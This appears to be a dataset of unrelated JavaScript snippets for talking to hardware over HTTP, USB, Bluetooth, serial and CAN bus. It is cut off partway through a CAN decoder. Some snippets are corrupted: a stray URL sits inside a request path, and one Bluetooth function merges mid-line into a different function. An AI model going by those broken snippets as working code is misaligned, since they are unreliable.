response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){console.log(\"Got error: \" + e.message); });\n }); \n}","function controlHSDevice(device,action,value,cbfunc){\n var options = {\n hostname: hsserver,\n path: '/jsonapi.asp?action="https://huggingface.co/datasets/nomic-ai/cornstack-javascript-v1/ + action + "&id=' + device + '&value=' + value,\n port: hsport,\n headers: {\n 'Authorization': auth\n }\n };\n\n http.get(options, function(response) {\n var body = '';\n response.on('data', function(d) {body += d;});\n response.on('end', function() {cbfunc(JSON.parse(body));});\n\t response.on(\"error\",function(e){log(\"Got error: \" + e.message); });\n }); \n}","function getWeMoData() {\n var wemoHeaders = { \n \"Content-Type\": \"application/json\", \n \"SOAPACTION\": \"urn:Belkin:service:basicevent:1#GetBinaryState\",\n };\n var wemoState = '>' + \n '' +\n \"\" + \n '' + \n \"1\" + \n \"\" + \n \"\" + \n \"\"\n var wemoOptions =\n {\n \"method\" : \"post\",\n \"headers\" : wemoHeaders,\n \"muteHttpExceptions\": true,\n \"payload\" : wemoState,\n };\n\n var ddnsDevices = [ \"WemoXmas\", \"WemoGazebo\" ];\n props.setProperty( \"weNum\", ddnsDevices.length ); \n \n for (var i = 0; i < ddnsDevices.length; i++) {\n var response = UrlFetchApp.fetch(getSecureVal(ddnsDevices[i], \"URL\") + \"/upnp/control/basicevent1\").getContentText();\n Logger.log(response);\n var wemoJson = JSON.parse(response);\n state = wemoJSON.BinaryState;\n props.setProperties( \"we\" + String(i), state ); \n /* send to ATT M2X*/\n var streams = [ \"we0\", \"we1\", \"we2\", \"we3\" ];\n sendDataATT(ddnsDevices[i], streams);\n logProps(streams);\n }\n \n}","async send_cmd(cmd, options={}) {\n const data = options.data;\n const textDecode = (options.textDecode !== undefined ? !!options.textDecode : true);\n const sleepOverride = (parseInt(options.sleepOverride) || 10);\n const cmdIndex = (parseInt(options.cmdIndex) || 0);\n\n if (!this.device || !this.device.opened) {\n this.log(\"error: device not connected.\\n\", \"red\");\n this.log(\"Use button to connect to a supported programmer.\\n\", \"red\");\n return Promise.reject(\"error: device not opened\");\n }\n\n const opts = {\n requestType: \"vendor\",\n recipient: \"device\",\n request: 250,\n value: this.CMD_LUT[cmd],\n index: cmdIndex\n };\n\n // transfer data out\n const res = data\n ? await this.device.controlTransferOut(opts, data)\n : await this.device.controlTransferOut(opts);\n\n // sleep for a bit to give the USB device some processing time leeway\n await (() => new Promise(resolve => setTimeout(resolve, sleepOverride)))();\n\n return this.device.controlTransferIn({\n requestType: \"vendor\",\n recipient: \"device\",\n request: 249,\n value: 0x70,\n index: 0x81\n }, 64).then(result => {\n return textDecode\n ? (new TextDecoder()).decode(result.data)\n : result.data.buffer;\n });\n }","async function requestBLEDevice(){\n let result = Promise.resolve()\n if (ble.connected == false){\n console.log('Requesting ble device...')\n wdm('Requesting bluetooth device list')\n // let options = {filters: [ {name: ble.name}, {services:[ ble.customserviceUUID ]} ]}\n let options = {filters: [ {namePrefix: ble.namePrefix}, {services:[ ble.customserviceUUID ]} ]}\n\n try{\n device = await navigator.bluetooth.requestDevice(options)\n console.log(\"found a device\",device)\n console.log(device.name)\n console.log(device.uuids)\n var textstr = \"found a device name: \" + device.name + \"
    \" + \"id: \" + device.id\n ble.statustext = textstr\n \n ble.device=device\n ble.device.addEventListener('gattserverdisconnected',onDisconnectedBLE)\n }\n catch(error){\n if (ble.connected == false){\n var textstr = 'Still waiting for user to select device'\n console.log(textstr)\n ble.statustext = ble.statustext + \"
    \" + textstr\n \n return error\n }\n }\n }\n return result\n}","getHardware (cb) {\n\t\tvar self = this\n\n\t\tif (!this.started)\n\t\t{\n\t\t\treturn cb('Connection to MD-DM not started')\n\t\t}\n\n\t\tif (!this.device.connected)\n\t\t{\n\t\t\treturn cb('Not currently connected to MD-DM')\n\t\t}\n\n\t\tthis._connection.exec('SHOWHW', function (err, response) {\n\t\t\tself._logger.verbose(`SHOWHW response: ${response}`)\n\n\t\t\ttry\n\t\t\t{\n\t\t\t\tcb(err, TelnetOutputParser.parseHardware(response))\n\t\t\t}\n\t\t\tcatch (e)\n\t\t\t{\n\t\t\t\tself._logger.warn(`Failed to parse response: ${response}`)\n\t\t\t\tcb(`Failed to parse response: ${e} / ${e.stack}`)\n\t\t\t}\n\t\t})\n\t}","function request(value) {\n\t// Init variables\n\tlet src;\n\tlet cmd;\n\n\tswitch (value) {\n\t\tcase 'motor-values' : {\n\t\t\tsrc = 'DIA';\n\t\t\tcmd = [ 0xB8, 0x12, 0xF1, 0x03, 0x22, 0x40, 0x00 ];\n\t\t\tbreak;\n\t\t}\n\n\t\tdefault : return;\n\t}\n\n\tbus.data.send({\n\t\tsrc : src,\n\t\tdst : 'DME',\n\t\tmsg : cmd,\n\t});\n}","function OpenAVR(device)\n{\n if (device.deviceDescriptor.idVendor != kAtmel ||\n device.deviceDescriptor.idProduct != kEVK1101)\n {\n return; // (not our device)\n }\n\n try {\n device.open();\n device.interfaces[0].claim();\n // find first unused input >= 2\n for (var i=2; ; ++i) {\n if (i < avrs.length && avrs[i]) continue;\n avrs[i] = device;\n device.avrNum = i;\n var endIn = device.interfaces[0].endpoints[0];\n var endOut = device.interfaces[0].endpoints[1];\n endIn.avrNum = i;\n endOut.avrNum = i;\n endIn.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\n endOut.transferType = usb.LIBUSB_TRANSFER_TYPE_BULK;\n endIn.timeout = 1000;\n endOut.timeout = 1000;\n // (must install handlers before we start polling)\n endIn.on('data', HandleData);\n endIn.on('error', HandleError);\n endOut.on('error', HandleError);\n endIn.startPoll(4, 256);\n\n // add member function to send command to AVR\n device.SendCmd = SendCmd;\n // send initial command to get AVR serial number and software version\n device.SendCmd(\"a.ser;b.ver\\n\");\n break;\n }\n }\n catch (err) {\n Log('Error opening AVR device');\n }\n}","writeLoginControl(data) {\n var arrData = [17,16,0,1,1,];\n const data_send = this.toUTF8Array(data);\n console.log('writeLoginControl_1',data_send);\n for (var i = 0; i < data_send.length; i++) {\n arrData.push(data_send[i]);\n }\n arrData[2] = arrData.length + 1;\n arrData[arrData.length] = this.calCheckSum(arrData);\n\n console.log('writeLoginControl_2',arrData, this.byteToHexString(arrData));\n\n BleManager.writeWithoutResponse(this.props.mymac, 'fff0', 'fff5',arrData)\n .then(() => {\n console.log('--writeLoginControl successfully: ',arrData);\n })\n .catch((error) => {\n console.log('--writeLoginControl failed ',error);\n });\n }","readFromDevice() {\n this.device.transferIn(5, 64).then(result => {\n const decoder = new TextDecoder();\n this.rstring += decoder.decode(result.data);\n // do a quick JSON smoketest (should do better with decoder/streaming)\n const startIdx = this.rstring.indexOf('{');\n if(startIdx > 0) this.rstring = this.rstring.substring(startIdx);\n const endIdx = this.rstring.indexOf('}');\n if(endIdx > -1) {\n const parseStr = this.rstring.substring(0, endIdx+1);\n this.rstring = this.rstring.substring(endIdx+1);\n try {\n const msg = JSON.parse(parseStr);\n this._handleMessage(msg);\n // this.dispatchEvent(new CustomEvent('ek-event', {detail:msg}), {bubbles: true});\n } catch(e) {\n console.log(\"NOT JSON:\",parseStr);\n }\n this.rstring = \"\";\n }\n this.readFromDevice();\n })\n .catch(error => { \n console.log(error);\n this.emitMessage(this.device.serialNumber, \"\");\n this.emitDisconnected(this.device.serialNumber);\n this.device = null;\n this.rstring = \"\";\n });\n }","async getBatteryLevel() {\n const outputReportID = 0x01;\n const subCommand = [0x50];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subCommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n\n return new Promise((resolve) => {\n const onBatteryLevel = ({ detail: batteryLevel }) => {\n this.removeEventListener('batterylevel', onBatteryLevel);\n delete batteryLevel._raw;\n delete batteryLevel._hex;\n resolve(batteryLevel);\n };\n this.addEventListener('batterylevel', onBatteryLevel);\n });\n }","async getDeviceDetails() {\n return this.digestClient\n .fetch(\n `http://${this.dahua_host}/cgi-bin/magicBox.cgi?action=getSystemInfo`\n )\n .then((r) => r.text())\n .then((text) => {\n const deviceDetails = text\n .trim()\n .split('\\n')\n .reduce((obj, str) => {\n const [key, val] = str.split('=');\n obj[key] = val.trim();\n return obj;\n }, {});\n return deviceDetails;\n });\n }","async function readComms() {\n await transferByte(0x99);\n let readLen = await transferByte(0x00);\n if (readLen) {\n let rxBuff = Buffer.alloc(readLen, 0, 'binary');\n for(let ri = 0; ri < readLen; ri++) {\n let rx = await transferByte(0x00);\n rxBuff[ri] = rx;\n }\n return rxBuff;\n }\n return null;\n}","get_card_id_ex() {\n return new Promise((resolve, reject) => {\n\n let on_frame = (frame) => {\n // remove_listener();//remove to resever for next time \n switch (frame.type) {\n case CODE.ERR_HEADER: /* No card */\n\n let err_code = frame.buffer[1];\n if (err_code == CODE.NO_CARD) {\n resolve({ is_available: false, uid_len: 0, uid: '' });\n } else {\n reject(frame);\n }\n break;\n case CODE.RESPONSE_HEADER:/*have card */\n let uid_len = frame.buffer[5];\n let resp = {\n is_available: true\n };\n if (this.buffer.length >= (CODE.PACKET_LENGTH + uid_len)) {\n let uid_buffer = new Buffer.alloc(uid_len);\n frame.buffer.copy(uid_buffer, 0, 7, 7 + uid_len);\n resp.uid_len = uid_len;\n resp.uid = util.to_hex_string(uid_buffer);\n resolve(resp);\n }\n else {\n reject('invalid resp');\n }\n break;\n default:\n reject('invalid resp');\n break;\n }\n };\n this.once('frame', on_frame);//onetime fire\n\n //GET_CARD_ID_EX (0x2C) : Use this function for cards with UID longer than 4 byte\n this.send_command(\"55 2C AA 00 00 00 DA\");\n });\n }","function bleSend() {\n /* check if the device is connected if true send file*/\n let encoder = new TextEncoder('utf-8');\n\n if(isConnected){\n /* send an erase command so that the file gets started fresh */\n RX_characteristic.writeValue(encoder.encode(\"erase\"));\n for(let a = 0; a<3000; a++){\n console.log(\"\")\n }\n /* get the contents of the editor that is in use */\n let editorContents = editor.getValue();\n /* send the contents to the device */\n //split the editor contents into newlines.\n temp = editorContents.split(/\\n/);\n for(let i=0; i> (8*(1-j)));\n }\n */\n //CMD\n tx_data[0] = 0;\n //index\n tx_data[1] = i & 0xff;\n\n\n for(var j = 0; j < 2; j = j + 1){\n tx_data[2+j] = 0xff & ((g_rawcode_length/2) >> (8*(1-j)));\n }\n\n //freq(0:38k, 1;40k)\n tx_data[4] = 0;\n //Format(0:unknown, 1:NEC, 2:SONY...)\n tx_data[5] = 1;\n\n //Number of Frame\n for(var j = 0; j < 2; j = j + 1){\n tx_data[6+j] = 0xff & (g_rawcode_length >> (8*(1-j)));\n }\n\n //Data0\n for(var j = 0; j < 4; j = j + 1){\n tx_data[8+j] = 0xff & ((g_rawcode[i*2] / g_ir_margin) >> (8*(3-j)));\n }\n\n //Data1\n for(var j = 0; j < 4; j = j + 1){\n tx_data[12+j] = 0xff & ((g_rawcode[i*2 + 1] / g_ir_margin) >> (8*(3-j)));\n }\n\n //Transmit\n window.cmdCharacteristic.writeValue(new Uint8Array(tx_data)).catch(error => {\n uiDebugMessage(\"liffWriteLoadMatrix\");\n uiStatusError(makeErrorMsg(error), false);\n });\n }\n }else{\n window.cmdCharacteristic.writeValue(new Uint8Array([1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0])).catch(error => {\n uiDebugMessage(\"liffWriteLoadMatrix - Req\");\n uiStatusError(makeErrorMsg(error), false);\n });\n }\n}","start() {\n let constraints = {\n video: {\n facingMode: 'user',\n height: { min: 360, ideal: 720, max: 1080 },\n deviceId: localStorage.getItem('deviceId')\n },\n audio: true\n };\n\n // navigator.mediaDevices.enumerateDevices()\n // .then(dd=> { \n // dd.map(device => {\n // if (device.kind == 'videoinput' && device.label == DEVICE) {\n // constraints.video.deviceId = device.deviceId;\n // }\n // })\n // }) \n\n // navigator.usb.requestDevice({filters:[]})\n // .then(selectedDevice => {\n // device = selectedDevice;\n // console.log('selectedDevice', device, selectedDevice);\n // return device.open(); // Begin a session.\n // })\n // .then(() => {\n // console.log('daada', device.selectConfiguration);\n // device.selectConfiguration(1)}) // Select configuration #1 for the device.\n // .then(() => {\n // console.log('daada', device.claimInterface);\n // device.claimInterface(0)}) // Request exclusive control over interface #2.\n // .then(() => {\n // console.log('daada', device.controlTransferOut);\n // device.controlTransferOut({\n // requestType: 'class',\n // recipient: 'interface',\n // request: 0x22,\n // value: 0x01,\n // index: 0x02})}) // Ready to receive data\n // .then(() => {\n // console.log('dedde', device);\n // device.transferIn(5, 64)\n // }) // Waiting for 64 bytes of data from endpoint #5.\n // .then(result => {\n // let decoder = new TextDecoder();\n // console.log('decoder', decoder, result);\n // console.log('Received: ' + decoder.decode(result.data));\n // })\n // .catch(error => { console.log('this.error', error); });\n console.log('constraints', constraints)\n\n setTimeout(() => {\n // constraints.video.deviceId = localStorage.getItem('deviceId');\n navigator.mediaDevices\n .getUserMedia(constraints)\n .then((stream) => {\n this.stream = stream;\n this.emit('stream', stream);\n })\n .catch((err) => {\n if (err instanceof DOMException) {\n alert('Cannot open webcam and/or microphone');\n } else {\n console.log(err);\n }\n });\n }, 3000)\n\n return this;\n }","function _htob (hex) {\n if (hex) {\n if (typeof hex !== 'string') {\n throw new TypeError('Expected input to be a string')\n }\n\n if ((hex.length % 2) !== 0) {\n throw new RangeError('Expected string to be an even number of characters')\n }\n\n var view = new Uint8Array(hex.length / 2)\n\n for (var i = 0; i < hex.length; i += 2) {\n view[i / 2] = parseInt(hex.substring(i, i + 2), 16)\n }\n\n return view\n } else {\n return null;\n }\n}","async enableSimpleHIDMode() {\n const outputReportID = 0x01;\n const subcommand = [0x03, 0x3f];\n const data = [\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n 0x00,\n ...subcommand,\n ];\n await this.device.sendReport(outputReportID, new Uint8Array(data));\n }","function getDeviceCapability()\r\n{\r\n\txrxDeviceConfigGetDeviceCapabilities( \"http://127.0.0.1\", getDeviceCapabilities_success, getDeviceCapatilities_failure, null);\r\n}","getStatus() {\n return new Promise((resolve, reject) => {\n // send hex code for getting the status of power,rgb,warm\n send(this.ip, hexToArray(\"81:8a:8b:96\"), (data, err) => {\n if (err)\n reject(err)\n else {\n if(data) {\n const status = [];\n for(let i = 0; i < data.length; i+=2){\n status.push(data[i].concat(data[i+1]))\n }\n const power = status[2] === \"23\" ? \"on\" : \"off\"\n \n const rgb = status.slice(6,9).map((el) => parseInt(el, 16));\n \n const warm = parseInt(status[9], 16)\n const out = {\"power\" : power, \"rgb\" : rgb, \"warm\" : warm}\n resolve(out)\n }\n }\n });\n })\n }","getDeviceID(): Promise {\n return HyperTrack.getDeviceID();\n }","function send2LMviaBT(value) { //value is an arry of bytes\r\n //let encoder = new TextEncoder('utf-8');\r\n mDebugMsg1(1,'Setting Characteristic User Description...');\r\n gattCharacteristic.writeValue(value)\r\n .then(_ => {\r\n \t mDebugMsg1(1,'> Characteristic User Description changed to: ' + value);\r\n })\r\n .catch(error => {\r\n\t\t//todo9: userfriendly message\r\n \t mDebugMsg1(1,'Argh! ' + error);\r\n });\r\n\r\n\r\n }","function arduinoTest() {\n return request;\n}","function read(){\n\t\t\t\n\t\t\tvar deferred = $q.defer();\n\t\t\tserial.read(\n\t\t\t\tfunction success(data){\n\t\t\t\t\tvar byteArray = new Uint8Array(data);\n\t\t\t\t\tdeferred.resolve( UtilsService.byteArrayToString(byteArray) );\n\t\t\t\t},\n\t\t\t\tfunction error(){\n\t\t\t\t\tdeferred.reject(new Error());\n\t\t\t\t}\n\t\t\t);\n\t\t\t\n\t\t\treturn deferred.promise;\n\t\t\t\n\t\t}","function getCCDA(url,uid,callback){\n var options = {\n host: api_domain,\n path: url+'?api_key='+api_key+'&uid='+uid,\n port: api_port\n}\n//Get the bindaas api\nvar request = http.request(options, function (res) {\n var data = '';\n res.on('data', function (chunk) {\n data += chunk;\n });\n res.on('end', function () {\n callback(data);\n });\n });\n request.on('error', function (e) {\n console.log(e.message);\n console.log(\"please check that your bindaas API is succesfully set up\");\n });\n request.end();\n}","readHydrawiseStatus(){\n const cmd = hydrawise_url_status + \"api_key=\" + this.config.hydrawise_apikey;\n\n // execute only if apikey is defined in config page\n if (this.config.hydrawise_apikey!=undefined){\n this.log.info(\"send: \"+cmd);\n //request(cmd, function (error, response, body){\n request(cmd, (error, response, body) => {\n\n if (!error && response.statusCode == 200) {\n // parse JSON response from Hydrawise controller\n var obj = JSON.parse(body);\n // read device config\n hc6.nextpoll = parseInt(obj.nextpoll);\n hc6.time = parseInt(obj.time);\n hc6.message = obj.message;\n this.log.info(\"nextpoll=\"+hc6.nextpoll+\" time=\"+hc6.time+\" message=\"+hc6.message);\n \n // read all configured sensors\n for (let i=0; i<=1; i++){\n // if sensor is configured\n if (obj.sensors[i]!=null){\n hc6.sensors[i].input = parseInt(obj.sensors[i].input);\n hc6.sensors[i].type = parseInt(obj.sensors[i].type);\n hc6.sensors[i].mode = parseInt(obj.sensors[i].mode);\n hc6.sensors[i].timer = parseInt(obj.sensors[i].timer);\n hc6.sensors[i].offtimer = parseInt(obj.sensors[i].offtimer);\n // read all related relays\n for (let j=0; j<=5; j++){\n // if relay is configured\n if (obj.sensors[i].relays[j]!=null){\n hc6.sensors[i].relays[j]=obj.sensors[i].relays[j].id\n }\n };\n }\n this.log.info(\"sensor\"+i+\": input=\"+hc6.sensors[i].input+\" type=\"+hc6.sensors[i].type+\n \" mode=\"+hc6.sensors[i].mode+ \" timer=\"+hc6.sensors[i].timer+\" offtimer=\"+hc6.sensors[i].offtimer+\n \" relay0=\"+hc6.sensors[i].relays[0]+\" relay1=\"+hc6.sensors[i].relays[1]+\" relay2=\"+hc6.sensors[i].relays[2]+\n \" relay3=\"+hc6.sensors[i].relays[3]+\" relay4=\"+hc6.sensors[i].relays[4]+\" relay5=\"+hc6.sensors[i].relays[5]);\n }\n\n // read all configured relays\n for (let i=0; i<=5; i++){\n if (obj.relays[i]!=null){\n hc6.relays[i].relay_id = parseInt(obj.relays[i].relay_id);\n hc6.relays[i].name = obj.relays[i].name;\n hc6.relays[i].relay = parseInt(obj.relays[i].relay);\n hc6.relays[i].type = parseInt(obj.relays[i].type);\n hc6.relays[i].time = parseInt(obj.relays[i].time);\n hc6.relays[i].run = parseInt(obj.relays[i].run);\n hc6.relays[i].period = parseInt(obj.relays[i].period);\n hc6.relays[i].timestr = obj.relays[i].timestr;\n }\n else{\n hc6.relays[i].relay_id = 0;\n hc6.relays[i].name = \"\";\n hc6.relays[i].relay = 0;\n hc6.relays[i].type = 0;\n hc6.relays[i].time = 0;\n hc6.relays[i].run = 0;\n hc6.relays[i].period = 0;\n hc6.relays[i].timestr = \"\";\n }\n this.log.info(\"relay\"+i+\": relay_id=\"+hc6.relays[i].relay_id+\" name=\"+hc6.relays[i].name+\n \" relay=\"+hc6.relays[i].relay+\" type=\"+hc6.relays[i].type+\" time=\"+hc6.relays[i].time+\n \" run=\"+hc6.relays[i].run+\" period=\"+hc6.relays[i].period+\" timestr=\"+hc6.relays[i].timestr);\n }\n }\n })\n }\n }","function getBufferRequest(opt, callback){\n\n\topt.host = \"cloud.cadexchanger.com\";\n\topt.protocol = \"https:\";\n\topt.path = \"/api/v1\" + opt.path;\n\n\tconst tmpFile = fs.createWriteStream(\"tmp.file\");\n\tconst req = https.get(opt, (res) => {\n\t\tres.pipe(tmpFile);\n\n\t\ttmpFile.on('finish', () => {\n\t\t\t//tmpFile.close();\n\t\t\tcallback(fs.readFileSync(\"tmp.file\"));\n\t\t\tfs.unlink(\"tmp.file\", ()=>{});\n\t\t});\n\t});\n}","function readSerialData(data) {\n console.log(data.toString());\n sendit({method: 'data', data: data.toString()});\n}","function getDevicePromise(device) {\n return fetch(\n `https://www-bd.fnal.gov/cgi-bin/acl.pl?acl=~kissel/acl/mshow.acl+${device}+/device_index`\n )\n .then(res => res.text())\n .then(text => {\n return text;\n })\n .then(parseDeviceIndex);\n}","function decode()\n{\n\tget_ui_vals();\n\n\n\tif (typeof hex_opt === 'undefined')\n\t{\n\t\thex_opt = 0;\n\t}\n\n\n\n\tif (rate == 0)\n\t{\n\t\treturn;\n\t}\n\n\tspb = sample_rate / rate; \t\t// Calculate the number of Samples Per Bit.\n\n\ttry\n\t{\n\t\tspb_hs = sample_rate / high_rate;\n\t}\n\tcatch(e)\n\t{\n\t\tspb_hs = sample_rate / 2000000;\n\t}\n\n\tm = spb / 10; \t\t\t\t\t// Margin = 1 tenth of a bit time (expresed in number of samples)\n\tm_hs = spb_hs / 10;\n\n\tvar t = trs_get_first(ch);\n\n\tchannel_color = get_ch_light_color(ch);\n\n\twhile (trs_is_not_last(ch) && (stop == false))\n\t{\n\t if (abort_requested() == true)\t\t// Allow the user to abort this script\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\tswitch (state)\n\t\t{\n\t\t\tcase GET_SOF:\n\n\t\t\t\twhile ((t.val != 0) && trs_is_not_last(ch))\t\t// Search for SOF\n\t\t\t\t{\n\t\t\t\t\tt = trs_get_next(ch);\n\t\t\t\t}\n\n\t\t\t\ts = t.sample + (spb * 0.5); \t\t// Position our reader on the middle of first bit\n\n\t\t\t\tbit_sampler_ini(ch,spb /2, spb); \t// Initialize the bit sampler (to be able tu use \"bit_sampler_next()\")\n\t\t\t\tbit_sampler_next(ch); \t\t\t\t// Read and skip the start bit\n\n\t\t\t\tdec_item_new(ch,t.sample,t.sample + spb - m); \t// Add the start bit item\n\t\t\t\tdec_item_add_pre_text(\"Start of Frame\");\n\t\t\t\tdec_item_add_pre_text(\"Start\");\n\t\t\t\tdec_item_add_pre_text(\"SOF\");\n\t\t\t\tdec_item_add_pre_text(\"S\");\n\n\t\t\t\tpkt_start(\"CAN\");\n\t\t\t\tpkt_add_item(-1, -1, \"SOF\", \"\", dark_colors.blue, channel_color);\n\n\t\t\t\tbits = [];\n\t\t\t\trb = 0;\n\t\t\t\tframe_length_in_sample = 0;\n\t\t\t\tb = 0; sb = 0;\n\t\t\t\tbit_pos = [];\n\t\t\t\tide_mode = false;\n\t\t\t\tdata_size = 0;\n\t\t\t\tbits.push(0); \t\t// Add the start bit to the bits table\n\t\t\t\tbit_pos.push(s); \t// Add its position\n\t\t\t\tb++;\n\t\t\t\trb++;\n\t\t\t\tframe_length_in_sample += spb;\n\t\t\t\tlast_bit = 0;\n\t\t\t\tstate = GET_ID;\n\t\t\t\trtr_mode = false;\n\t\t\t\tide_mode = false;\n\t\t\t\tedl_mode = false;\n\t\t\t\tpotential_overload = true; \t// This *may* be the beginning of an overload frame\n\n\t\t\tbreak;\n\n\t\t\tcase GET_ID:\n\n\t\t\t\twhile (true) \t// Read bits until we break\n\t\t\t\t{\n\t\t\t\t\tif (abort_requested() == true)\t// Allow the user to abort this script\n\t\t\t\t\t{\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\n\t\t\t\t\tif(edl_mode && (((b==35)&&ide_mode) || ((b==16)&&!ide_mode)) )\n\t\t\t\t\t{\n\t\t\t\t\t\tbit_sampler_ini(ch,spb_hs / 2, spb_hs); \t// use High speed since now\n\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (sb == 4)\n\t\t\t\t\t{\n\n\t\t\t\t\t\tstuffing_ok = check_stuffing();\t\t// Stuffed bit\n\t\t\t\t\t\tif (stuffing_ok == false) break; \t// Break on the first stuffing error\n\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tbits[b] = bit_sampler_next(ch);\t\t// Regular bit\n\t\t\t\t\t\tif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(edl_mode && (((b>35)&&ide_mode) || ((b>16)&&!ide_mode)) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb_hs/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb / 2, spb);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbit_pos.push(s + frame_length_in_sample); \t\t// Store the position of that bit\n\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\n\t\t\t\t\t\t}\n\n\n\n\t\t\t\t\t\tif (bits[b] == last_bit)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsb++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tlast_bit = bits[b];\n\t\t\t\t\t\tb++;\n\t\t\t\t\t}\n\n\t\t\t\t\trb++;\n\t\t\t\t\tif(edl_mode && (((b>35)&&ide_mode) || ((b>16)&&!ide_mode)) )\n\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\t\t\t\t\telse\n\t\t\t\t\t\tframe_length_in_sample += spb;\n\n\n\t\t\t\t\tif(edl_mode && (((b==36)&&ide_mode) || ((b==17)&&!ide_mode)) )\n\t\t\t\t\t{\n\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\t\t\t\t\t}\n\n\t\t\t\t\tif ((b == 14) && (bits[13] == 1))\n\t\t\t\t\t{\n\t\t\t\t\t\tide_mode = true;\n\t\t\t\t\t\trtr_mode = false; \t// Reset rtr, will be checked at bit 32\n\t\t\t\t\t}\n\n\t\t\t\t\tif (ide_mode)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((b == 33) && (bits[32] == 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\trtr_mode = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ((b == 34) && (bits[33] == 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tedl_mode = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((b == 13) && (bits[12] == 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\trtr_mode = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ((b == 15) && (bits[14] == 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tedl_mode = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif(edl_mode)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((ide_mode == true) && (b == 41))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ((ide_mode == false) && (b == 22))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((ide_mode == true) && (b == 39))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ((ide_mode == false) && (b == 19))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t{\n\t\t\t\t\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\n\t\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\t\tstate = GET_SOF;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif(edl_mode) //if it's CAN-FD\n\t\t\t\t{\n\t\t\t\t\t// Check if we are in normal or extended ID mode\n\t\t\t\t\tif (ide_mode == false)\t \t// Normal frame\n\t\t\t\t\t{\n\t\t\t\t\t\tval = 0;\t\t\t\t// Calculate the value of the ID\n\n\t\t\t\t\t\tfor (c = 1; c < 12; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[11] + (0.5 * spb) - m); \t\t// Add the ID item\n\t\t\t\t\t\tdec_item_add_pre_text(\"IDENTIFIER: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ID: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ID\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar tmp_val = (val >> 8);\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, 